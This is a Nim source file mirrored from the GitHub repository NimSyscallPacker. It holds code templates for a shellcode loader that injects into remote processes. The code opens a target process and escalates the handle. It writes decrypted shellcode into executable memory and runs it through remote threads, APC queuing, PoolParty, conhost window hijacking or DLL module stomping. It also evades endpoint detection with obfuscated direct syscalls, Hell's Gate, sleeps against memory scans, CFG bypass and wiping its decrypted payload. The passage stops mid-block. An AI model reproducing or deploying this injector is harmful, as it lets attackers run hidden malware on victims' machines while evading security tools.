mirror of
https://github.com/S3cur3Th1sSh1t/NimSyscallPacker
synced 2026-06-11 09:59:09 +00:00
3293 lines
143 KiB
Nim
3293 lines
143 KiB
Nim
let ShellcodeRemoteInjectMapSection * = """
|
|
|
|
var pHandle2: HANDLE = -1 # Current Process Handle
|
|
|
|
var
|
|
oldProtection: DWORD = 0
|
|
status: NTSTATUS
|
|
success: BOOL
|
|
lpMapAddressRemote: PVOID = NULL
|
|
lpMapAddress: PVOID = NULL
|
|
|
|
when defined(SysWhispers):
|
|
when not defined(spawninject):
|
|
when not defined(conhostinject):
|
|
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(status)
|
|
|
|
var highPrivHandle: HANDLE
|
|
let workedfine = DuplicateHandle(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] DuplicateHandle: "), workedfine
|
|
tProcess = highPrivHandle
|
|
|
|
|
|
when defined(AllocateDripStyle):
|
|
lpMapAddressRemote = DripAllocate(HANDLE(tProcess), cast[SIZE_T](friendlycode.len), friendlycode)
|
|
if lpMapAddressRemote == nil:
|
|
when defined(verbose):
|
|
echo obf("[-] DripAllocation Failed")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] DripAllocation Success!")
|
|
else:
|
|
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
|
|
|
|
# NtCreateSection Call
|
|
|
|
var
|
|
hMapFile: HANDLE
|
|
sSize: LARGE_INTEGER = cast[LARGE_INTEGER](sc_size)
|
|
|
|
status = iuhqdihasduiahsdaksdhak(&hMapFile,SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,NULL,&sSize,protectionValue,SEC_COMMIT,0)
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateSection: "), toHex(status)
|
|
|
|
var
|
|
vSize: SIZE_T = sc_size
|
|
# NtMapViewOfSection Call local
|
|
status = uihzasdbnqlpoasdlykxc(hMapFile,-1,&lpMapAddress,0,0,NULL,&vSize,2,0,PAGE_READWRITE)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtMapViewOfSection: "), toHex(status)
|
|
if (lpMapAddress == nil):
|
|
echo obf("[-] Failed to map view of file")
|
|
echo GetLastError()
|
|
|
|
echo obf("[*] Moving shellcode to memory...")
|
|
moveMemory(lpMapAddress, cast[pointer](unsafeAddr friendlycode), int(sc_size))
|
|
|
|
# Why did I use NtWrite here instead of local copy.. No one knows.
|
|
# var bytesWritten: SIZE_T
|
|
# NtWriteVirtualMemory Call
|
|
#status = oqiazasusjk(pHandle2,lpMapAddress,unsafeAddr friendlycode,sc_size,addr bytesWritten)
|
|
|
|
#when defined(verbose):
|
|
# echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
# echo obf(" \\-- bytes written: "), bytesWritten
|
|
# echo obf("")
|
|
|
|
|
|
# NtMapViewOfSection Call remote
|
|
when defined(RX):
|
|
protectionValue = PAGE_EXECUTE_READ
|
|
|
|
status = uihzasdbnqlpoasdlykxc(hMapFile,tProcess,&lpMapAddressRemote,0,0,NULL,&vSize,2,0,protectionValue)
|
|
|
|
if (lpMapAddressRemote == nil):
|
|
echo obf("[-] Failed to map view of file remote")
|
|
echo toHex(status)
|
|
when defined(sleepinbetween):
|
|
when defined(verbose):
|
|
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
|
|
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
|
|
ptrEncText = cast[ptr byte](lpMapAddress)
|
|
ptrDecText = cast[ptr byte](lpMapAddress)
|
|
decryptlate()
|
|
|
|
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,lpMapAddressRemote,NULL, FALSE, 0, 0, 0, NULL)
|
|
|
|
status = zuatzuastdiasyy(tHandle)
|
|
status = zuatzuastdiasyy(tProcess)
|
|
|
|
when defined(verbose):
|
|
echo success
|
|
else:
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntOpenTable):
|
|
syscall = ntOpenTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtOpenProcess")
|
|
|
|
when not defined(spawninject): # We already got a Handle, no need to open it again. Only for existing processes.
|
|
when not defined(conhostinject):
|
|
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(status)
|
|
|
|
# duplicate handle to PROCESS_ALL_ACCESS
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntDuplicateTable):
|
|
syscall = ntDuplicateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtDuplicateObject")
|
|
var highPrivHandle: HANDLE
|
|
status = NtDuplicateObject(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] NtDuplicateObject: "), status
|
|
tProcess = highPrivHandle
|
|
|
|
|
|
when defined(AllocateDripStyle):
|
|
lpMapAddressRemote = DripAllocate(HANDLE(tProcess), cast[SIZE_T](friendlycode.len), friendlycode)
|
|
if lpMapAddressRemote == nil:
|
|
when defined(verbose):
|
|
echo obf("[-] DripAllocation Failed")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] DripAllocation Success!")
|
|
else:
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntCreateSectionTable):
|
|
syscall = ntCreateSectionTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtCreateSection")
|
|
|
|
# NtCreateSection Call
|
|
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
|
|
|
|
var
|
|
hMapFile: HANDLE
|
|
sSize: LARGE_INTEGER = cast[LARGE_INTEGER](sc_size)
|
|
|
|
status = NtCreateSection(&hMapFile,SECTION_MAP_READ or SECTION_MAP_WRITE or SECTION_MAP_EXECUTE,NULL,&sSize,protectionValue,SEC_COMMIT,0)
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateSection: "), toHex(status)
|
|
|
|
if (hMapFile == 0):
|
|
echo obf("[-] Failed to create file mapping")
|
|
echo GetLastError()
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntMapViewOfSectionTable):
|
|
syscall = ntMapViewOfSectionTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtMapViewOfSection")
|
|
|
|
var
|
|
vSize: SIZE_T = sc_size
|
|
|
|
status = NtMapViewOfSection(hMapFile,-1,&lpMapAddress,0,0,NULL,&vSize,2,0,PAGE_READWRITE)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtMapViewOfSection: "), toHex(status)
|
|
|
|
if (lpMapAddress == nil):
|
|
echo obf("[-] Failed to map view of file")
|
|
echo GetLastError()
|
|
|
|
|
|
echo obf("[*] Moving shellcode to memory...")
|
|
moveMemory(lpMapAddress, cast[pointer](unsafeAddr friendlycode), int(sc_size))
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntMapViewOfSectionTable):
|
|
syscall = ntMapViewOfSectionTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtMapViewOfSection")
|
|
|
|
when defined(RX):
|
|
protectionValue = PAGE_EXECUTE_READ
|
|
status = NtMapViewOfSection(hMapFile,tProcess,&lpMapAddressRemote,0,0,NULL,&vSize,2,0,protectionValue)
|
|
|
|
if (lpMapAddressRemote == nil):
|
|
echo obf("[-] Failed to map view of file remote")
|
|
echo toHex(status)
|
|
|
|
when defined(QueueAPC):
|
|
# first create the sleep Thread before sleeping in between, because that could trigger memory scans
|
|
var remoteThreadHandle: HANDLE = remoteForceSleep(tProcess)
|
|
|
|
when defined(sleepinbetween):
|
|
when defined(verbose):
|
|
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
|
|
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
|
|
|
|
when defined(AllocateDripStyle):
|
|
lpMapAddress = decryptbuffer
|
|
ptrEncText = cast[ptr byte](lpMapAddress)
|
|
ptrDecText = cast[ptr byte](lpMapAddress)
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntCreateTable):
|
|
syscall = ntCreateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
|
|
|
|
when defined(poolparty):
|
|
ExecutePoolparty(tProcess, lpMapAddressRemote)
|
|
return
|
|
|
|
when defined(QueueAPC):
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntQueueApcThreadTable):
|
|
syscall = ntQueueApcThreadTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtQueueApcThread")
|
|
|
|
let pfnAPC : PKNORMAL_ROUTINE = cast[PKNORMAL_ROUTINE](lpMapAddressRemote)
|
|
#var remoteThreadHandle: HANDLE = remoteForceSleep(tProcess)
|
|
decryptlate()
|
|
status = NtQueueApcThread(remoteThreadHandle, pfnAPC, lpMapAddressRemote, nil, nil)
|
|
when defined(verbose):
|
|
echo obf("[*] NtQueueApcThread: "), toHex(status)
|
|
#when defined(sleepinbetween):
|
|
# HowMuchTimeWouldYouLikeToSleep(5)
|
|
#Sleep(10)
|
|
#decryptlate()
|
|
else:
|
|
decryptlate()
|
|
status = NtCreateThreadEx(
|
|
&tHandle,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
tProcess,
|
|
lpMapAddressRemote,
|
|
NULL, FALSE, 0, 0, 0, NULL)
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateThreadEx: "), toHex(status), " ", repr(lpMapAddressRemote)
|
|
|
|
injectCreateRemoteThread(enctext)
|
|
|
|
when not defined(proxy):
|
|
when defined(defaultMain):
|
|
when not defined(service):
|
|
when not defined(cloned):
|
|
when not defined(perfecthijack):
|
|
discard main(nil)
|
|
|
|
"""
|
|
|
|
|
|
let ShellcoderemoteinjectStub * = """
|
|
|
|
var pHandle2: HANDLE = -1 # Current Process Handle
|
|
|
|
var
|
|
oldProtection: DWORD = 0
|
|
status: NTSTATUS
|
|
success: BOOL
|
|
|
|
when defined(conhostinject):
|
|
var
|
|
udptr: LONG_PTR
|
|
pid, ppid: DWORD
|
|
wr: SIZE_T
|
|
cw: ConsoleWindow
|
|
dss: LPVOID
|
|
vTable: ULONG_PTR
|
|
|
|
#hwnd = FindWindowW("ConsoleWindowClass", nil)
|
|
#GetWindowThreadProcessId(hwnd, addr ppid)
|
|
let enumResult = EnumWindows(EnumWindowsProc, 0)
|
|
if not enumResult:
|
|
GetWindowThreadProcessId(hwnd, addr ppid)
|
|
pid = getConHostID(ppid)
|
|
if pid != 0:
|
|
when defined(verbose):
|
|
echo "[*] Found PID:", pid, "\n"
|
|
|
|
|
|
if pid == 0:
|
|
when defined(verbose):
|
|
echo "[*] Parent id is ", ppid, "\n [-] unable to obtain pid of conhost.exe\n"
|
|
return
|
|
else:
|
|
cid.UniqueProcess = pid
|
|
when defined(SysWhispers):
|
|
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(status)
|
|
|
|
# duplicate handle to PROCESS_ALL_ACCESS
|
|
var highPrivHandle: HANDLE
|
|
let workedfine = DuplicateHandle(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] DuplicateHandle: "), workedfine
|
|
tProcess = highPrivHandle
|
|
|
|
else:
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntOpenTable):
|
|
syscall = ntOpenTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtOpenProcess")
|
|
|
|
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), status
|
|
|
|
# duplicate handle to PROCESS_ALL_ACCESS
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntDuplicateTable):
|
|
syscall = ntDuplicateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtDuplicateObject")
|
|
var highPrivHandle: HANDLE
|
|
status = NtDuplicateObject(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] NtDuplicateObject: "), toHex(status)
|
|
tProcess = highPrivHandle
|
|
|
|
|
|
when defined(SysWhispers):
|
|
when not defined(spawninject):
|
|
when not defined(conhostinject):
|
|
status = opqiwepoausdasdjl(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(status)
|
|
|
|
# duplicate handle to PROCESS_ALL_ACCESS
|
|
var highPrivHandle: HANDLE
|
|
let workedfine = DuplicateHandle(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] DuplicateHandle: "), workedfine
|
|
tProcess = highPrivHandle
|
|
|
|
|
|
when defined(AllocateDripStyle):
|
|
ds = DripAllocate(tProcess, cast[SIZE_T](friendlycode.len), friendlycode)
|
|
if ds == nil:
|
|
when defined(verbose):
|
|
echo obf("[-] DripAllocation Failed")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] DripAllocation Success!")
|
|
else:
|
|
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
|
|
when defined(RX):
|
|
protectionValue = PAGE_READWRITE
|
|
when defined(RWX):
|
|
protectionValue = PAGE_EXECUTE_READWRITE
|
|
status = oqiahsjynmxkla(tProcess, &ds, 0, &sc_size,MEM_COMMIT,protectionValue)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status)
|
|
var bytesWritten: SIZE_T
|
|
|
|
ptrEncText = cast[ptr byte](addr encText[0])
|
|
ptrDecText = cast[ptr byte](addr decText[0])
|
|
decryptlate()
|
|
|
|
status = oqiazasusjk(tProcess,ds,unsafeAddr friendlycode,sc_size-1,addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteProcessMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Going to clean local memory of decrypted shellcode")
|
|
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
|
|
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
|
|
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
|
|
when defined(verbose):
|
|
echo obf("[*] Done.")
|
|
|
|
when defined(JmpEntry):
|
|
var newEntry: LPVOID
|
|
newEntry = prepEntry(tProcess, ds, jmpMod, jmpFunc)
|
|
when defined(verbose):
|
|
echo obf("[*] New Entry Point: "), toHex(cast[HANDLE](newEntry)), "\r\n"
|
|
|
|
when defined(JmpEntry):
|
|
ds = newEntry
|
|
|
|
when defined(RX):
|
|
when defined(sleepinbetween):
|
|
when defined(verbose):
|
|
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
|
|
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
|
|
status = uashdiasdj(tProcess,&ds,&sc_size,PAGE_EXECUTE_READ,addr oldProtection)
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), toHex(status)
|
|
if (status == 0):
|
|
echo obf("[+] Permissions changed to PAGE_EXECUTE_READ"), repr(ds)
|
|
if(status != 0):
|
|
quit(1)
|
|
|
|
when not defined(RX):
|
|
when defined(sleepinbetween):
|
|
when defined(verbose):
|
|
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
|
|
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
|
|
|
|
when defined(conhostinject):
|
|
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA)
|
|
when defined(verbose):
|
|
echo "[*] GWLP_USERDATA : ", toHex(udptr), "\n"
|
|
ReadProcessMemory(tProcess, cast[LPVOID](udptr), cast[LPVOID](addr vTable), sizeof(ULONG_PTR), addr wr)
|
|
when defined(verbose):
|
|
echo "[*] Table : ", toHex(vTable), "\n"
|
|
ReadProcessMemory(tProcess, cast[LPVOID](vTable), cast[LPVOID](addr cw), sizeof(ConsoleWindow), addr wr)
|
|
dss = VirtualAllocEx(tProcess, nil, sizeof(ConsoleWindow), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
cw.GetWindowHandle = cast[uint64](ds)
|
|
WriteProcessMemory(tProcess, cast[LPVOID](dss), addr cw, sizeof(ConsoleWindow), addr wr)
|
|
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr dss, sizeof(ULONG_PTR), addr wr)
|
|
# Trigger execution
|
|
SendMessage(hwnd, WM_SETFOCUS, 0, 0)
|
|
# wait for e.G. Caro-Kann Trigger time
|
|
Sleep(20000)
|
|
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr vTable, sizeof(ULONG_PTR), addr wr)
|
|
VirtualFreeEx(tProcess, ds, 0, MEM_RELEASE)
|
|
VirtualFreeEx(tProcess, dss, 0, MEM_RELEASE)
|
|
CloseHandle(tProcess)
|
|
# exit program, as we finished
|
|
quit(0)
|
|
|
|
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,ds,NULL, FALSE, 0, 0, 0, NULL)
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateThreadEx: "), toHex(status), " ", repr(ds)
|
|
|
|
when defined(JmpEntry):
|
|
Sleep(1000)
|
|
if(restoreBytes(tProcess, ds)):
|
|
when defined(verbose):
|
|
echo obf("[*] Restored bytes!")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to restore bytes!")
|
|
|
|
status = zuatzuastdiasyy(tHandle)
|
|
status = zuatzuastdiasyy(tProcess)
|
|
|
|
else:
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntOpenTable):
|
|
syscall = ntOpenTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtOpenProcess")
|
|
|
|
when not defined(spawninject):
|
|
when not defined(conhostinject):
|
|
status = NtOpenProcess(&tProcess,PROCESS_QUERY_INFORMATION,&oa, &cid)
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), status
|
|
|
|
# duplicate handle to PROCESS_ALL_ACCESS
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntDuplicateTable):
|
|
syscall = ntDuplicateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtDuplicateObject")
|
|
var highPrivHandle: HANDLE
|
|
status = NtDuplicateObject(-1, tProcess, -1, &highPrivHandle, PROCESS_ALL_ACCESS, FALSE, 0)
|
|
when defined(verbose):
|
|
echo obf("[*] NtDuplicateObject: "), toHex(status)
|
|
tProcess = highPrivHandle
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
|
|
var protectionValue: DWORD = PAGE_EXECUTE_READWRITE
|
|
|
|
when defined(RX):
|
|
protectionValue = PAGE_READWRITE
|
|
when defined(RWX):
|
|
protectionValue = PAGE_EXECUTE_READWRITE
|
|
|
|
when defined(AllocateDripStyle):
|
|
ds = DripAllocate(tProcess, cast[SIZE_T](friendlycode.len), friendlycode)
|
|
if ds == nil:
|
|
when defined(verbose):
|
|
echo obf("[-] DripAllocation Failed")
|
|
quit(1)
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] DripAllocation Success!")
|
|
else:
|
|
|
|
when defined(stomb):
|
|
when defined(verbose):
|
|
echo obf("\r\n[*] Injecting DLL: "), stombDll, " into the remote process"
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Injecting DLL \r\n"))
|
|
|
|
if(remoteLoadDll(DLLPATH, tProcess)):
|
|
when defined(verbose):
|
|
echo obf("[+] DLL injected successfully")
|
|
when defined(logFile):
|
|
logVerbose(obf("[+] DLL injected successfully\r\n"))
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] DLL injection failed")
|
|
when defined(logFile):
|
|
logVerbose(obf("[-] DLL injection failed\r\n"))
|
|
quit(1)
|
|
|
|
var module = GetRemoteModuleHandle(tProcess, stombDll)
|
|
when defined(verbose):
|
|
echo obf("[*] Using "), stombDll, obf(" .text section as shellcode buffer")
|
|
echo obf("[*] Found baseAddress at: "), repr(module)
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Found baseAddress at: ") & cast[string](repr(module)) & "\r\n")
|
|
|
|
# disable CFG for that modules .text section
|
|
discard evadeCFG(tProcess, (cast[PVOID](module) + 0x1000))
|
|
|
|
ds = GetRemoteProcAddress(tProcess, module, stombFunc)
|
|
rPtr2 = ds
|
|
when defined(verbose):
|
|
echo obf("[*] Found "), stombFunc, obf(" address at: "), repr(ds)
|
|
|
|
|
|
var allocationSize: SIZE_T = cast[SIZE_T](sc_size) + 0x1000
|
|
|
|
when defined(restore):
|
|
var textStart: LPVOID = cast[LPVOID](module) + 0x1000 # .text section always starts at this offset to the base address
|
|
var mbi: MEMORY_BASIC_INFORMATION
|
|
var sectionSize: SIZE_T = VirtualQueryEx(tProcess, textStart, addr mbi, sizeof(mbi))
|
|
when defined(verbose):
|
|
echo obf("[*] VirtualQueryEx result: "), sectionSize
|
|
echo obf("[*] Section size: "), mbi.RegionSize
|
|
|
|
var originalRXSection: seq[byte] = newSeq[byte](mbi.RegionSize)
|
|
var numberOfBytesRead: SIZE_T
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntReadTable):
|
|
syscall = ntReadTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtReadVirtualMemory")
|
|
|
|
status = NtReadVirtualMemory(tProcess, textStart, unsafeAddr originalRXSection[0], mbi.RegionSize, addr numberOfBytesRead)
|
|
when defined(verbose):
|
|
if (status == 0):
|
|
echo obf("[+] ReadProcessMemory success!")
|
|
else:
|
|
echo obf("[-] Failed to read the original RX section")
|
|
quit(1)
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
var protAddress: LPVOID = ds
|
|
var oProtect: DWORD
|
|
status = NtProtectVirtualMemory(tProcess, addr protAddress, addr allocationSize, PAGE_READWRITE, addr oProtect)
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Buffer address: ") & cast[string](repr(ds)) & "\r\n")
|
|
logVerbose(obf("[*] NtProtectVirtualMemory RW for address: ") & cast[string](repr(protAddress)) & obf(" status: ") & cast[string](toHex(status)) & "\r\n")
|
|
when defined(verbose):
|
|
if (status == 0):
|
|
echo obf("[+] NtProtectVirtualMemory success! "), repr(protAddress)
|
|
else:
|
|
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protAddress)
|
|
quit(1)
|
|
echo "[*] Buffer address: ", repr(ds)
|
|
|
|
|
|
else:
|
|
status = NtAllocateVirtualMemory(tProcess, &ds, 0, &sc_size,MEM_COMMIT,protectionValue)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), status
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtAllocateVirtualMemory: ") & cast[string](toHex(status)) & "\r\n")
|
|
|
|
var bytesWritten: SIZE_T
|
|
|
|
when defined(JmpEntry):
|
|
var newEntry: LPVOID
|
|
newEntry = prepEntry(tProcess, ds, jmpMod, jmpFunc)
|
|
when defined(verbose):
|
|
echo obf("[*] New Entry Point: "), toHex(cast[HANDLE](newEntry)), "\r\n"
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
when defined(QueueAPC):
|
|
# Do the Sleep Thread creation before decrypting, as that could lead to memory scans.
|
|
var remoteThreadHandle: HANDLE = remoteForceSleep(tProcess)
|
|
|
|
when defined(sleepinbetween):
|
|
when defined(verbose):
|
|
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
|
|
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
|
|
|
|
when not defined(AllocateDripStyle):
|
|
ptrEncText = cast[ptr byte](addr encText[0])
|
|
ptrDecText = cast[ptr byte](addr decText[0])
|
|
decryptlate()
|
|
|
|
status = NtWriteVirtualMemory(
|
|
tProcess,
|
|
ds,
|
|
unsafeAddr friendlycode,
|
|
sc_size-1,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), status
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Going to clean local memory of decrypted shellcode")
|
|
# ptrDecText has to be overwritten with 0 for friendlycode.len bytes
|
|
var zeroSeq: seq[byte] = newSeq[byte](friendlycode.len)
|
|
moveMemory(ptrDecText, addr zeroSeq[0], friendlycode.len)
|
|
when defined(verbose):
|
|
echo obf("[*] Done.")
|
|
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtWriteVirtualMemory: ") & cast[string](toHex(status)) & "\r\n")
|
|
logVerbose(obf(" \\-- bytes written: ") & cast[string](bytesWritten) & "\r\n")
|
|
logVerbose("\r\n")
|
|
|
|
when not defined(carokann):
|
|
when defined(RX):
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
when defined(sleepinbetween):
|
|
when defined(verbose):
|
|
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
|
|
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
|
|
when defined(stomb):
|
|
sc_size = sc_size + 0x1000
|
|
status = NtProtectVirtualMemory(tProcess, &ds, &sc_size, PAGE_EXECUTE_READ, addr oldProtection)
|
|
when defined(verbose):
|
|
echo obf("[*] NtProtectVirtualMemory: "), status
|
|
if (status == 0):
|
|
echo obf("[+] Permissions changed to PAGE_EXECUTE_READ")
|
|
if(status != 0):
|
|
quit(1)
|
|
|
|
when not defined(RX):
|
|
when defined(sleepinbetween):
|
|
when defined(verbose):
|
|
echo obf("[*] Sleeping for "), sleepbetweentime, obf(" seconds")
|
|
HowMuchTimeWouldYouLikeToSleep(sleepbetweentime)
|
|
|
|
when defined(carokann):
|
|
when not defined(stomb):
|
|
var rPtr2: LPVOID
|
|
var protectAddress: LPVOID = ds
|
|
var oldProtect: DWORD
|
|
when defined(JmpEntry):
|
|
var tempdsAddress = ds
|
|
ds = newEntry
|
|
|
|
const hookShellcode = slurp"decryptprotect.bin.tmp"
|
|
|
|
var hookShellcodeBytes: seq[byte] = toByteSeq(hookShellcode)
|
|
|
|
var hook_sc_size: SIZE_T = cast[SIZE_T](hookShellcodeBytes.len)
|
|
|
|
#var rPtr2: LPVOID
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Allocating memory for our custom shellcode, which will decrypt and re-protect")
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Allocating memory for our custom shellcode, which will decrypt and re-protect\r\n"))
|
|
|
|
when defined(stomb):
|
|
when defined(verbose):
|
|
echo obf("[*] Using "), stombDll, obf(" .text section as shellcode buffer")
|
|
echo obf("[*] Found baseAddress at: "), repr(rPtr2)
|
|
#rPtr2 = getTextSectionStart(rPtr2)
|
|
rPtr2 = GetRemoteProcAddress(tProcess, module, stombFunc2)
|
|
#rPtr2 = rPtr2
|
|
when defined(verbose):
|
|
echo obf("[*] Found "), stombFunc2, obf(" address at: "), repr(rPtr2)
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Found baseAddress at: ") & cast[string](repr(rPtr2)) & "\r\n")
|
|
logVerbose(obf("[*] Found ") & cast[string](stombFunc2) & obf(" address at: ") & cast[string](repr(rPtr2)) & "\r\n")
|
|
protectAddress = rPtr2
|
|
# as the function won't start at the section start, the protectAddress will have an
|
|
# offset to the address where we write the shellcode later on. This could lead to a problem,
|
|
# if the shellcode is too big and the function is not at the end of the section.
|
|
# So we need to calculate the difference between the section start and the function start and may need to protect one more section
|
|
# Or we just allocate one more 4kB page so make sure the offset is no problem
|
|
var allocateSize: SIZE_T = cast[SIZE_T](hookShellcodeBytes.len) + 0x1000
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr allocateSize, PAGE_READWRITE, addr oldProtect)
|
|
when defined(logFile):
|
|
